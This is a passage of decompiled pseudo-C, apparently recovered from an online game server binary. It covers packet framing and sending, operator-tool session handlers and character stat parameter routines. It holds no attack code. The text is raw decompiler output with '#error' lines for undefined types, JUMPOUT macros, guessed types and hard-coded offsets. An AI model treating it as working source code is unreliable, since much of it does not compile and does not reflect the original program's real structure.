--funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_REQ"); } //----- (004B18C0) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK(OPToolSession *this, NETCOMMAND *netcmd) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_S2SCONNECTION_ACK"); } //----- (004B1910) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_MISC_HEARTBEAT_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)gpp.pp_Buffer = 2053; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 2) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ : Packet Too Long", 2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "OPToolSession::opts_NC_MISC_HEARTBEAT_REQ"); } //----- (004B19E0) -------------------------------------------------------- void __thiscall OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ(OPToolSession *this, NETCOMMAND *netcmd) { ZoneBaseSession *v2; // esi@1 char *v3; // eax@1 int v4; // edx@1 char *v5; // eax@1 int v6; // eax@6 char *v7; // eax@9 int v8; // eax@14 char *v9; // eax@17 int v10; // eax@22 v2 = (ZoneBaseSession *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 10248; v4 = (int)(v3 + 2); memset(v3 + 2, 0, 0xA8u); *((_WORD *)v3 + 85) = 0; v3[2] = LOBYTE(netcmd[1].protocol); v3[3] = 6; v5 = (char *)&sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Status; while ( *(_DWORD *)v5 != 1 && *(_DWORD *)v5 != 2 ) { v5 += 264; if ( (signed int)v5 >= (signed int)&sock2gameDB.sb_Pointer.mask ) goto LABEL_9; } v6 = sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID; if ( sock2gameDB.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID >= 21 ) v6 = 10; ++*(_WORD *)(v4 + 8 * v6 + 2); LABEL_9: v7 = (char *)&sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Status; while ( *(_DWORD *)v7 != 1 && *(_DWORD *)v7 != 2 ) { v7 += 264; if ( (signed int)v7 >= (signed int)&sock2gamelog.sb_Pointer.mask ) goto LABEL_17; } v8 = sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID; if ( sock2gamelog.sb_SocketStr[0].socket.baseclass_0.m_Connected_Server_ID >= 21 ) v8 = 10; ++*(_WORD *)(v4 + 8 * v8 + 2); LABEL_17: v9 = (char *)&stru_131DDCE4.baseclass_0.m_Status; while ( *(_DWORD *)v9 != 1 && *(_DWORD *)v9 != 2 ) { v9 += 264; if ( (signed int)v9 >= (signed int)&unk_131DE108 ) goto LABEL_25; } v10 = stru_131DDCE4.baseclass_0.m_Connected_Server_ID; if ( stru_131DDCE4.baseclass_0.m_Connected_Server_ID >= 21 ) v10 = 10; ++*(_WORD *)(v4 + 8 * v10 + 2); LABEL_25: *(_WORD *)(v4 + 162) = shineobjmanager.som_ListContainer[2]->baseclass_0.l_ListNum; *(_WORD *)(v4 + 66) = optoollist.l_ListNum; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 172) ) ProtocolPacket::pp_SendPacket(&gpp, v2); else AssertClass::ac_AssertFail(&shineassert, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ : Packet Too Long", 172); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "OPToolSession::opts_NC_OPTOOL_CONNECT_BRIF_REQ"); } //----- (004B1B90) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ItemLotAnalyser::LotChanger *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = *(_DWORD *)&ele->item; *(_DWORD *)(v3 + 4) = ele->delta; return 1; } // 4B1BA6: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004B1BC0) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (004B1C10) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004B1D30) -------------------------------------------------------- void __thiscall OPToolList::OPToolList(OPToolList *this) { OPToolList *v1; // esi@1 signed int v2; // edi@1 signed int v3; // eax@1 int v4; // edx@1 signed int v5; // ebx@1 ListStruct *v6; // ecx@3 OPToolObject *v7; // ebp@3 int v8; // ecx@3 ListStruct *v9; // ecx@6 OPToolObject *v10; // ebp@6 int v11; // ecx@6 ListStruct *v12; // ecx@9 OPToolObject *v13; // ebp@9 int v14; // ecx@9 ListStruct *v15; // ecx@12 OPToolObject *v16; // ebp@12 int v17; // ecx@12 ListStruct *v18; // ecx@15 OPToolObject *v19; // ebp@15 int v20; // ecx@15 v1 = this; this->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; this->baseclass_0.l_ListArray = 0; List::l_MakeList(&this->baseclass_0, 0x32u); v1->baseclass_0.vfptr = (ListVtbl *)List::_vftable_; _eh_vector_constructor_iterator_( v1->optl_Array, 8u, 50, (void (__thiscall *)(void *))AllOfRangeArgument::AllOfRangeArgument, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v2 = 2; v3 = 3; v4 = (int)&v1->optl_Array[1]; v5 = 10; do { if ( v2 - 2 < v1->baseclass_0.l_MaxSize ) { v6 = v1->baseclass_0.l_Array; v7 = v6[v3 - 3].ls_Content; v8 = (int)&v6[v3 - 3]; if ( !v7 ) *(_DWORD *)v8 = v4 - 8; } if ( v2 - 1 < v1->baseclass_0.l_MaxSize ) { v9 = v1->baseclass_0.l_Array; v10 = v9[v3 - 2].ls_Content; v11 = (int)&v9[v3 - 2]; if ( !v10 ) *(_DWORD *)v11 = v4; } if ( v2 < v1->baseclass_0.l_MaxSize ) { v12 = v1->baseclass_0.l_Array; v13 = v12[v3 - 1].ls_Content; v14 = (int)&v12[v3 - 1]; if ( !v13 ) *(_DWORD *)v14 = v4 + 8; } if ( v2 + 1 < v1->baseclass_0.l_MaxSize ) { v15 = v1->baseclass_0.l_Array; v16 = v15[v3].ls_Content; v17 = (int)&v15[v3]; if ( !v16 ) *(_DWORD *)v17 = v4 + 16; } if ( v2 + 2 < v1->baseclass_0.l_MaxSize ) { v18 = v1->baseclass_0.l_Array; v19 = v18[v3 + 1].ls_Content; v20 = (int)&v18[v3 + 1]; if ( !v19 ) *(_DWORD *)v20 = v4 + 24; } v4 += 40; v3 += 5; v2 += 5; --v5; } while ( v5 ); } // 645424: using guessed type int (__stdcall *List_HuntLog__MobHuntElement____vftable_[3])(__int16 hnd); //----- (004B1E50) -------------------------------------------------------- void __thiscall GlobalProtocolPacket::GlobalProtocolPacket(GlobalProtocolPacket *this) { this->baseclass_0.pp_PacketLength = 0; this->baseclass_0.pp_Buffer = this->gpp_Buffer; this->baseclass_0.pp_BufferSize = 8192; } //----- (004B1E70) -------------------------------------------------------- char __thiscall PacketContainer::pcb_Flush_Try_Catch(PacketContainer *this, ClientSession *session) { int v2; // eax@0 int v3; // ebx@0 PacketContainer *v4; // esi@1 char v5; // bl@1 int v6; // eax@1 int v7; // eax@4 int v8; // edx@8 ZoneBaseSession *v10; // ecx@10 int v11; // [sp-Ch] [bp-44h]@1 int v12; // [sp-8h] [bp-40h]@3 int v13; // [sp-4h] [bp-3Ch]@1 int v14; // [sp+0h] [bp-38h]@3 int v15; // [sp+4h] [bp-34h]@3 ClientSession *v16; // [sp+8h] [bp-30h]@3 int v17; // [sp+Ch] [bp-2Ch]@3 int v18; // [sp+10h] [bp-28h]@3 ClientSession *DisconnectSession; // [sp+14h] [bp-24h]@3 PacketContainer *v20; // [sp+18h] [bp-20h]@1 int v21; // [sp+1Ch] [bp-1Ch]@3 char rtn; // [sp+1Fh] [bp-19h]@1 int v23; // [sp+20h] [bp-18h]@1 int v24; // [sp+24h] [bp-14h]@3 int v25; // [sp+28h] [bp-10h]@1 int (__cdecl *v26)(int, PVOID, int); // [sp+2Ch] [bp-Ch]@1 _UNKNOWN *v27; // [sp+30h] [bp-8h]@1 int v28; // [sp+34h] [bp-4h]@1 v27 = &unk_64F480; v26 = _except_handler3; v25 = v2; v13 = v3; v23 = (int)&v11; v4 = this; v20 = this; v5 = 1; rtn = 1; v28 = 0; v6 = this->pc_Pointer; if ( v6 ) { if ( AssertClass::operator__(&shineassert, v6 < 8192, "Too long packet", this->pc_Pointer) ) { ((void (__thiscall *)(PacketContainer *, int, int, int, int, int, ClientSession *, int, int, ClientSession *, PacketContainer *, int, int, int, int))v4->baseclass_0.vfptr->pcb_Clear)( v4, v11, v12, v13, v14, v15, v16, v17, v18, DisconnectSession, v20, v21, v23, v24, v25); DisconnectSession = session; if ( session ) { v18 = session->cs_clienthandle; v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v18); v17 = v7; LABEL_8: v8 = *(_DWORD *)v7; v25 = 0; v24 = 0; v23 = 1670; (*(void (__thiscall **)(int, signed int, _DWORD, _DWORD))(v8 + 1520))(v7, 1670, 0, 0); goto LABEL_9; } goto LABEL_9; } if ( AssertClass::operator__(&shineassert, session == v4->pc_Session, "Session wrong", v4->pc_Pointer) ) { ((void (__thiscall *)(PacketContainer *, int, int, int, int, int, ClientSession *, int, int, ClientSession *, PacketContainer *, int, int, int, int))v4->baseclass_0.vfptr->pcb_Clear)( v4, v11, v12, v13, v14, v15, v16, v17, v18, DisconnectSession, v20, v21, v23, v24, v25); v16 = session; if ( session ) { v15 = session->cs_clienthandle; v7 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v15); v14 = v7; goto LABEL_8; } LABEL_9: v28 = -1; return 0; } v10 = (ZoneBaseSession *)v4->pc_Session; if ( v10 ) { v5 = ZoneBaseSession::Send(v10, v4->pc_Buffer, v4->pc_Pointer); rtn = v5; v4->baseclass_0.vfptr->pcb_Clear((PacketContainerBase *)v4); } } return v5; } //----- (004B2030) -------------------------------------------------------- void __thiscall ProtocolPacket::pp_SendPacket(ProtocolPacket *this, ZoneBaseSession *session) { ProtocolPacket *v2; // ebx@1 int v3; // eax@1 signed int v4; // eax@4 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolPacket::pp_SendPacket"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->pp_PacketLength; if ( v3 < 8189 ) { if ( v2->pp_PacketLength < 256 ) { buffer[0] = LOBYTE(v2->pp_PacketLength); v4 = 1; } else { buffer[0] = 0; word_D77FC29 = LOWORD(v2->pp_PacketLength); v4 = 3; } memcpy(&buffer[v4], v2->pp_Buffer, v2->pp_PacketLength); ZoneBaseSession::Send(session, buffer, v4 + v2->pp_PacketLength); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); } else { AssertClass::ac_AssertFail(&shineassert, "ProtocolPacket::pp_SendPacket : Too long buffer", v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SendPacket"); } } // D77FC29: using guessed type __int16 word_D77FC29; //----- (004B2170) -------------------------------------------------------- void __thiscall PacketContainerBase::pcb_Append(PacketContainerBase *this, #593 *a2, ProtocolPacket *pp) { FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "PacketContainerBase::pcb_Append"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PacketContainerBase::pcb_Append"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PacketContainerBase::pcb_Append"); } //----- (004B21C0) -------------------------------------------------------- #error "4B21C0: undefined or illegal type '#593' (funcsize=119)" //----- (004B2370) -------------------------------------------------------- char __thiscall ProtocolPacket::pp_SetPacketLen(ProtocolPacket *this, int len) { ProtocolPacket *v2; // esi@1 char result; // al@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ProtocolPacket::pp_SetPacketLen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( len < v2->pp_BufferSize ) { v2->pp_PacketLength = len; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ProtocolPacket::pp_SetPacketLen"); result = 0; } return result; } //----- (004B2420) -------------------------------------------------------- int __cdecl ShineObjectClass::ShineObject::so_ply_GetClientSession() { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GetClientSession"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_GetClientSession"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_GetClientSession"); return 0; } //----- (004B2470) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetClientSession(void *this) { void *v1; // esi@1 int v2; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_DWORD *)v1 + 5923); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_GetClientSession"); return v2; } //----- (004B24E0) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_clearplus(Parameter::Cluster *this) { this->ResistGTI = 0; this->ResistMoveSpdDown = 0; this->ResistCurse = 0; this->ResistDeaseas = 0; this->ResistPoison = 0; this->RegistNone = 0; this->CriticalTB = 0; this->SPAbsorption_Hit = 0; this->HPAbsorption_Hit = 0; this->SPAbsorption_Hitted = 0; this->HPAbsorption_Hitted = 0; this->MaxSP = 0; this->MaxHP = 0; this->AttSpeed = 0; this->MagCriDamRate = 0; this->CriDamRate = 0; this->MagCriDam = 0; this->CriDam = 0; this->MACri = 0; this->EvaRate = 0; this->HitRate = 0; this->ShieldAC = 0; this->MagicalWeaponMastery = 0; this->PhisycalWeaponMastery = 0; this->Critical = 0; this->CastingTime = 0; this->SPRecover = 0; this->HPRecover = 0; this->MoveSpeed = 0; this->AbsoluteBlock = 0; this->AbsoluteHit = 0; this->AbsoluteDefend = 0; this->AbsoluteAttack = 0; this->MB = 0; this->MH = 0; this->MR = 0; this->MAmax = 0; this->MAmin = 0; this->TB = 0; this->TH = 0; this->AC = 0; this->WCmax = 0; this->WCmin = 0; this->Men = 0; this->Int = 0; this->Dex = 0; this->Con = 0; this->Str = 0; } //----- (004B25B0) -------------------------------------------------------- void __thiscall Parameter::Cluster::c_clearrate(Parameter::Cluster *this) { this->SPAbsorption_Hit = 1000; this->HPAbsorption_Hit = 1000; this->SPAbsorption_Hitted = 1000; this->HPAbsorption_Hitted = 1000; this->MaxSP = 1000; this->MaxHP = 1000; this->AttSpeed = 1000; this->MagCriDamRate = 1000; this->CriDamRate = 1000; this->MagCriDam = 1000; this->CriDam = 1000; this->MACri = 1000; this->EvaRate = 1000; this->HitRate = 1000; this->ShieldAC = 1000; this->MagicalWeaponMastery = 1000; this->PhisycalWeaponMastery = 1000; this->Critical = 1000; this->CastingTime = 1000; this->SPRecover = 1000; this->HPRecover = 1000; this->MoveSpeed = 1000; this->AbsoluteBlock = 1000; this->AbsoluteHit = 1000; this->AbsoluteDefend = 1000; this->AbsoluteAttack = 1000; this->MB = 1000; this->MH = 1000; this->MR = 1000; this->MAmax = 1000; this->MAmin = 1000; this->TB = 1000; this->TH = 1000; this->AC = 1000; this->WCmax = 1000; this->WCmin = 1000; this->Men = 1000; this->Int = 1000; this->Dex = 1000; this->Con = 1000; this->Str = 1000; this->ResistGTI = 0; this->ResistMoveSpdDown = 0; this->ResistCurse = 0; this->ResistDeaseas = 0; this->ResistPoison = 0; this->RegistNone = 0; this->CriticalTB = 0; } //----- (004B2680) -------------------------------------------------------- signed int __thiscall Parameter::Container::IsNoAttacOrNoMove(int this) { signed int result; // eax@2 if ( *(_BYTE *)(this + 3086) & 7 ) result = 1; else result = 0; return result; } //----- (004B26A0) -------------------------------------------------------- unsigned int __thiscall Parameter::Container::IsNoAttack(int this) { return ((unsigned int)*(_BYTE *)(this + 3086) >> 2) & 1; } //----- (004B26B0) -------------------------------------------------------- signed int __thiscall Parameter::Container::c_TotalPram_MinusCheck(int this) { signed int result; // eax@1 result = 1; if ( *(_DWORD *)(this + 2880) < 1 ) *(_DWORD *)(this + 2880) = 1; if ( *(_DWORD *)(this + 2884) < 1 ) *(_DWORD *)(this + 2884) = 1; if ( *(_DWORD *)(this + 2888) < 1 ) *(_DWORD *)(this + 2888) = 1; if ( *(_DWORD *)(this + 2892) < 1 ) *(_DWORD *)(this + 2892) = 1; if ( *(_DWORD *)(this + 2896) < 1 ) *(_DWORD *)(this + 2896) = 1; return result; } //----- (004B2700) -------------------------------------------------------- void __thiscall ShineCommonParameter::ShineCommonParameter(ShineCommonParameter *this) { OptionReader::OptionReader(&this->scp_or); Parameter::Cluster::c_clearplus(¶meter_eraser_plus); Parameter::Cluster::c_clearrate(¶meter_eraser_rate); } //----- (004B2720) -------------------------------------------------------- signed __int16 __cdecl ShineObjectClass::ShineObject::so_IsInWeapon() { return 1; } //----- (004B2730) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_IsInWeapon(int this) { int result; // eax@1 result = *(_DWORD *)(this + 143264); if ( result ) result = *(_WORD *)(result + 8) != -1; return result; } //----- (004B2750) -------------------------------------------------------- void __thiscall Parameter::ChangeByConditionParam::cbcp_Clear(Parameter::ChangeByConditionParam *this) { Parameter::ChangeByConditionParam *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->cbcp_pValue; this->cbcp_nID = -1; this->cbcp_nCondition = 0; this->cbcp_nChange = 0; this->cbcp_nChangeParam = 0; this->cbcp_nCharged = 0; this->cbcp_nMaxValueNum = 0; if ( v2 ) { operator delete__(v2); v1->cbcp_pValue = 0; } } //----- (004B2780) -------------------------------------------------------- void __thiscall Parameter::ChangeByConditionParam::cbcp_SetCondition(Parameter::ChangeByConditionParam *this, unsigned __int16 nID, unsigned int nConditionValue, unsigned int nChangeValue) { Parameter::ChangeByConditionParam *v4; // esi@1 int v5; // ecx@3 signed int v6; // eax@3 void *v7; // eax@6 void *v8; // eax@8 signed int v9; // eax@10 v4 = this; this->cbcp_nID = -1; this->cbcp_nCondition = 0; this->cbcp_nChange = 0; this->cbcp_nChangeParam = 0; this->cbcp_nCharged = 0; if ( nConditionValue ) { if ( nChangeValue > 0 ) { this->cbcp_nID = nID; this->cbcp_nChange = nChangeValue; this->cbcp_nCondition = nConditionValue; v5 = 0; v6 = 1000; do { v6 -= nConditionValue; ++v5; } while ( v6 > 0 ); if ( v5 != v4->cbcp_nMaxValueNum ) { v7 = v4->cbcp_pValue; v4->cbcp_nMaxValueNum = v5; if ( v7 ) { operator delete__(v7); v4->cbcp_pValue = 0; } v8 = operator new__(4 * v4->cbcp_nMaxValueNum); v4->cbcp_pValue = (int *)v8; if ( v8 ) { v9 = 0; if ( v4->cbcp_nMaxValueNum > 0u ) { do v4->cbcp_pValue[v9++] = 0; while ( v9 < v4->cbcp_nMaxValueNum ); } } else { AssertClass::ac_AssertFail(&shineassert, byte_635E1E, 0); } } } } } //----- (004B2840) -------------------------------------------------------- #error "4B2840: undefined or illegal type '#593' (funcsize=91)" //----- (004B2950) -------------------------------------------------------- int __thiscall Parameter::ChangeByConditionParam::cbcp_GetValue(Parameter::ChangeByConditionParam *this, unsigned int nConditonRate) { char v2; // bl@1 unsigned int v3; // eax@2 int result; // eax@3 v2 = this->cbcp_nMaxValueNum; if ( v2 && (v3 = nConditonRate / this->cbcp_nCondition, v3 < (unsigned __int8)v2) ) result = this->cbcp_pValue[v3]; else result = 0; return result; } //----- (004B2980) -------------------------------------------------------- int __thiscall Parameter::ChangeByConditionParam::cbcp_GetValue_Index(Parameter::ChangeByConditionParam *this, int Index) { char v2; // al@1 int result; // eax@3 v2 = this->cbcp_nMaxValueNum; if ( v2 && Index < (unsigned __int8)v2 ) result = this->cbcp_pValue[Index]; else result = 0; return result; } //----- (004B29A0) -------------------------------------------------------- UpGradeInfo *__thiscall UpgradeDataBox::operator__(UpgradeDataBox *this, unsigned __int16 sub) { CDataReader::HEAD *v2; // edx@2 char *v3; // ecx@2 UpGradeInfo *result; // eax@3 if ( sub >= this->udb_Number ) { result = this->udb_default; } else { v2 = this->udb_BinData.baseclass_0.baseclass_0.m_pHead; v3 = (char *)&this->udb_BinData; if ( sub < v2->nNumOfRecord ) result = (UpGradeInfo *)CDataReader::GetRecord((CDataReader *)v3, sub); else result = (UpGradeInfo *)(v3 + 60); } return result; } //----- (004B29D0) -------------------------------------------------------- void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c) { Parameter::Cluster *v2; // esi@1 int v3; // edx@1 int v4; // ecx@1 int v5; // edx@1 int v6; // ecx@1 int v7; // edx@1 int v8; // ecx@1 int v9; // edx@1 int v10; // ecx@1 int v11; // edx@1 int v12; // ecx@1 int v13; // edx@1 int v14; // ecx@1 int v15; // edx@1 int v16; // ecx@1 int v17; // edx@1 int v18; // ecx@1 int v19; // ecx@1 int v20; // edx@1 int v21; // ecx@1 int v22; // edx@1 int v23; // ecx@1 int v24; // edx@1 int v25; // ecx@1 int v26; // edx@1 int v27; // ecx@1 int v28; // edx@1 int v29; // ecx@1 int v30; // edx@1 int v31; // ecx@1 int v32; // edx@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::operator +="); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::operator +="; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->Con; v2->Str += c->Str; v4 = v2->Dex; v2->Con = c->Con + v3; v5 = v2->Int; v2->Dex = c->Dex + v4; v6 = v2->Men; v2->Int = c->Int + v5; v7 = v2->WCmin; v2->Men = c->Men + v6; v8 = v2->WCmax; v2->WCmin = c->WCmin + v7; v9 = v2->AC; v2->WCmax = c->WCmax + v8; v10 = v2->TH; v2->AC = c->AC + v9; v11 = v2->TB; v2->TH = c->TH + v10; v12 = v2->MAmin; v2->TB = c->TB + v11; v13 = v2->MAmax; v2->MAmin = c->MAmin + v12; v14 = v2->MR; v2->MAmax = c->MAmax + v13; v15 = v2->MH; v2->MR = c->MR + v14; v16 = v2->MB; v2->MH = c->MH + v15; v17 = v2->AbsoluteAttack; v2->MB = c->MB + v16; v18 = v2->AbsoluteDefend; v2->AbsoluteAttack = c->AbsoluteAttack + v17; v2->AbsoluteDefend = c->AbsoluteDefend + v18; v19 = v2->AbsoluteBlock; v2->AbsoluteHit += c->AbsoluteHit; v20 = v2->MoveSpeed; v2->AbsoluteBlock = c->AbsoluteBlock + v19; v21 = v2->HPRecover; v2->MoveSpeed = c->MoveSpeed + v20; v22 = v2->SPRecover; v2->HPRecover = c->HPRecover + v21; v23 = v2->CastingTime; v2->SPRecover = c->SPRecover + v22; v24 = v2->Critical; v2->CastingTime = c->CastingTime + v23; v25 = v2->PhisycalWeaponMastery; v2->Critical = c->Critical + v24; v26 = v2->MagicalWeaponMastery; v2->PhisycalWeaponMastery = c->PhisycalWeaponMastery + v25; v27 = v2->ShieldAC; v2->MagicalWeaponMastery = c->MagicalWeaponMastery + v26; v28 = v2->HitRate; v2->ShieldAC = c->ShieldAC + v27; v29 = v2->EvaRate; v2->HitRate = c->HitRate + v28; v30 = v2->MACri; v2->EvaRate = c->EvaRate + v29; v31 = v2->CriDam; v2->MACri = c->MACri + v30; v32 = v2->MagCriDam; v2->CriDam = c->CriDam + v31; v2->MagCriDam = c->MagCriDam + v32; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "Parameter::Cluster::operator +="); } //----- (004B2B90) -------------------------------------------------------- void __thiscall Parameter::Cluster::operator__(Parameter::Cluster *this, Parameter::Cluster *c) { Parameter::Cluster *v2; // esi@1 int v3; // eax@3 signed int v4; // edx@4 int v5; // eax@5 int v6; // eax@7 signed int v7; // edx@8 int v8; // eax@9 int v9; // eax@11 signed int v10; // edx@12 int v11; // eax@13 int v12; // eax@15 signed int v13; // edx@16 int v14; // eax@17 int v15; // eax@19 signed int v16; // edx@20 int v17; // eax@21 int v18; // eax@23 signed int v19; // edx@24 int v20; // eax@25 int v21; // eax@27 signed int v22; // edx@28 int v23; // eax@29 int v24; // eax@31 signed int v25; // edx@32 int v26; // eax@33 int v27; // eax@35 signed int v28; // edx@36 int v29; // eax@37 int v30; // eax@39 signed int v31; // edx@40 int v32; // eax@41 int v33; // eax@43 signed int v34; // edx@44 int v35; // eax@45 int v36; // eax@47 signed int v37; // edx@48 int v38; // eax@49 int v39; // eax@51 signed int v40; // edx@52 int v41; // eax@53 int v42; // eax@55 signed int v43; // edx@56 int v44; // eax@57 int v45; // eax@59 signed int v46; // edx@60 int v47; // eax@61 int v48; // eax@63 signed int v49; // edx@64 int v50; // eax@65 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "Parameter::Cluster::operator *="); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "Parameter::Cluster::operator *="; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( c->Str != 1000 ) v2->Str = ((signed int)((unsigned 